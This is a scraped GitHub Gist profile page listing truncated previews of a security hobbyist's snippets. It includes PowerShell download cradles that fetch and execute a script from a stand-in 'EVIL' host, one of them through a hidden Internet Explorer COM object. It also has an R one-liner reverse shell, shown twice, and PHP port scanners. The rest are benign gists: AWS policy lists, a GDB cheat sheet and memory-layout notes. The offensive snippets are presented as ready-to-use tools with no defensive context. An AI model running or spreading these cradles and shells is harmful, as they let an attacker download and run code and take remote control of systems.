Skip to content

Instantly share code, notes, and snippets.

View hotplugin0x01's full-sized avatar

Abdul Wassay hotplugin0x01

View GitHub Profile
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
#!/usr/bin/env python3
import sys
from http.server import HTTPServer, BaseHTTPRequestHandler
if len(sys.argv)-1 != 2:
print("""
Usage: {} <port_number> <url>
""".format(sys.argv[0]))
sys.exit()
@hotplugin0x01
hotplugin0x01 / all_aws_managed_policies.json
Created October 23, 2022 11:55 — forked from gene1wood/all_aws_managed_policies.json
A list of all AWS managed policies and they're policy documents as well as a short script to generate the list
This file has been truncated, but you can view the full file.
{
"APIGatewayServiceRolePolicy": {
"Arn": "arn:aws:iam::aws:policy/aws-service-role/APIGatewayServiceRolePolicy",
"AttachmentCount": 0,
"CreateDate": "2019-10-22T18:22:01+00:00",
"DefaultVersionId": "v6",
"Document": {
"Statement": [
{
<?php
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);
$host = '172.17.0.1';
$ports = array(21, 22, 80, 443, 445, 3306, 8080);
@hotplugin0x01
hotplugin0x01 / reverse_shell.r
Created August 27, 2022 11:05 — forked from trietptm/reverse_shell.r
Simple reverse shell for R script.
c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)}
@hotplugin0x01
hotplugin0x01 / cheat_sheet.txt
Created August 13, 2022 14:06
GDB cheat sheet
GDB commands by function - simple guide
---------------------------------------
More important commands have a (*) by them.
Startup
% gdb -help print startup help, show switches
*% gdb object normal debug
*% gdb object core core debug (must specify core file)
%% gdb object pid attach to running process
% gdb use file command to load object
@hotplugin0x01
hotplugin0x01 / memory_layout.md
Created July 27, 2022 14:28 — forked from CMCDragonkai/memory_layout.md
Linux: Understanding the Memory Layout of Linux Executables

Understanding the Memory Layout of Linux Executables

Required tools for playing around with memory:

  • hexdump
  • objdump
  • readelf
  • xxd
  • gcore
@hotplugin0x01
hotplugin0x01 / port_scanner.php
Created June 25, 2022 13:44 — forked from akalongman/port_scanner.php
Port scanner on PHP
<?php
ini_set('max_execution_time', 0);
ini_set('memory_limit', -1);
$host = 'google.com';
$ports = array(21, 25, 80, 81, 110, 143, 443, 587, 2525, 3306);
foreach ($ports as $port)
{
$connection = @fsockopen($host, $port, $errno, $errstr, 2);
@hotplugin0x01
hotplugin0x01 / reverse_shell.r
Created June 24, 2022 20:34 — forked from DaveYesland/reverse_shell.r
Simple reverse shell for R script.
c<-socketConnection(host="192.168.0.101",8999,blocking=TRUE,timeout=1000000);while(TRUE){writeLines(readLines(pipe(readLines(c,1))),c)}